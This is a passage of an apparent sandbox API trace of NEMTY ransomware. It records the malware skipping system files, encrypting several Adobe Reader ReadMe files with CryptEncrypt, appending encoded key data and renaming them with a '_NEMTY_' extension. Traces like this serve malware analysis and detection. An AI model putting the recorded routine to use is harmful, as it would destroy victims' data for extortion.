(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeK.htm", lpUsedDefaultChar=0x0) returned 11 [0194.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.084] Sleep (dwMilliseconds=0x5) [0194.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2755d870, dwHighDateTime=0x1d561e8)) [0194.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2755d870, dwHighDateTime=0x1d561e8)) [0194.095] GetLastError () returned 0x0 [0194.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.095] GetLastError () returned 0x0 [0194.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.096] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.096] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653ef9c | out: pszString="dmHRQAJ7dIUfhfbabniFnkRCdrURmeGy2K0RWrq0r+NJVLiqAhJdGdDeDFhInhS0\r\npHtWiHcrAYm3HZXaTdhTKck5gAToWXEL4NrI6h5zBDeKu4HFG02Hbn9dMqmc7i2t\r\nhKld8BtwLHbKMw4+PHf+ccwIvmFgCvv6m94yHQJKoSHNwngXciGnFv0ZDPDjq9Tu\r\n0ws0NRuDJqC99a8rnqoA/732ecgVLs12DHSihJkBvmy2M9K/7KvDvHcztHfGetwG\r\nKV8tzEYDJgyB4s5QeZS+y64fdDaQD3OyDFbv3DchXSc4oayxWQ4CEHLRQUu5C802\r\n9MQ9/VbVKEv1h43RKF4PQw==\r\n", pcchString=0x653ef9c) returned 1 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.097] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16528) returned 1 [0194.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4090) returned 0x6352c48 [0194.097] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.097] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4090, lpOverlapped=0x0) returned 1 [0194.099] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.099] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4090, lpOverlapped=0x0) returned 1 [0194.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.100] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4090 [0194.100] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.100] CloseHandle (hObject=0x1e8) returned 1 [0194.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.100] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm._nemty_kgobjgd_")) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.101] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="...") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="windows") returned -1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="rsa") returned -1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="NTDETECT.COM") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="ntldr") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="MSDOS.SYS") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="IO.SYS") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="boot.ini") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="boot.ini") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.101] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="ntuser.dat") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="desktop.ini") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="CONFIG.SYS") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="RECYCLER") returned -1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="bootmgr") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="programdata") returned 1 [0194.102] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="appdata") returned 1 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMePOL.htm", lpUsedDefaultChar=0x0) returned 13 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMePOL.htm", lpUsedDefaultChar=0x0) returned 13 [0194.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMePOL.htm", lpUsedDefaultChar=0x0) returned 13 [0194.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMePOL.htm", lpUsedDefaultChar=0x0) returned 13 [0194.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.102] Sleep (dwMilliseconds=0x5) [0194.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275839d0, dwHighDateTime=0x1d561e8)) [0194.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275839d0, dwHighDateTime=0x1d561e8)) [0194.109] GetLastError () returned 0x0 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.109] GetLastError () returned 0x0 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.109] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.109] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.109] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.109] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ef9c | out: pszString="JCeijm+mLjlc8YIYXzzs0Dk7AT93jHMhC59tNEojMgZJ1pOvUqEDv7zcWtHfxVZL\r\nuoQ9i1+Rbxxa93nV5se58yVDZ7pJzzzRRmFvqX+qGmd8EBIfhoLb0uquW5sp6SiD\r\n4bfweJgDZaTQ6cmgEgPPI27vUsy3NOMRrbz6zvpLkDNBHQQmyEfAJyBnm9h5TD8h\r\n4N6nA9U5jGUuQTjjkjnQ8LSvu50/WOoPU+zUJ0Wl/xE7Y4VDSJ1Uoz/QEQBZqQmp\r\nqr1PXnlXVYRsl++X0s93jliz3T1N99lMX4TMCQD0TuXofgIZG4TWKiJqgJIQBBdP\r\n/ra/LIyjzVNxg03b8LlacA==\r\n", pcchString=0x653ef9c) returned 1 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.110] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17476) returned 1 [0194.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4440) returned 0x6352c48 [0194.110] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.110] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4440, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4440, lpOverlapped=0x0) returned 1 [0194.113] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.113] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4440, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4440, lpOverlapped=0x0) returned 1 [0194.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.113] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4444 [0194.113] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.113] CloseHandle (hObject=0x1e8) returned 1 [0194.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.114] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm._nemty_kgobjgd_")) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.115] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeRUM.htm", cAlternateFileName="README~4.HTM")) returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="...") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="windows") returned -1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="rsa") returned -1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="NTDETECT.COM") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="ntldr") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="MSDOS.SYS") returned 1 [0194.115] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="IO.SYS") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="boot.ini") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="boot.ini") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="ntuser.dat") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="desktop.ini") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="CONFIG.SYS") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="RECYCLER") returned -1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="bootmgr") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="programdata") returned 1 [0194.116] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="appdata") returned 1 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUM.htm", lpUsedDefaultChar=0x0) returned 13 [0194.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUM.htm", lpUsedDefaultChar=0x0) returned 13 [0194.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.116] HeapFree (in: 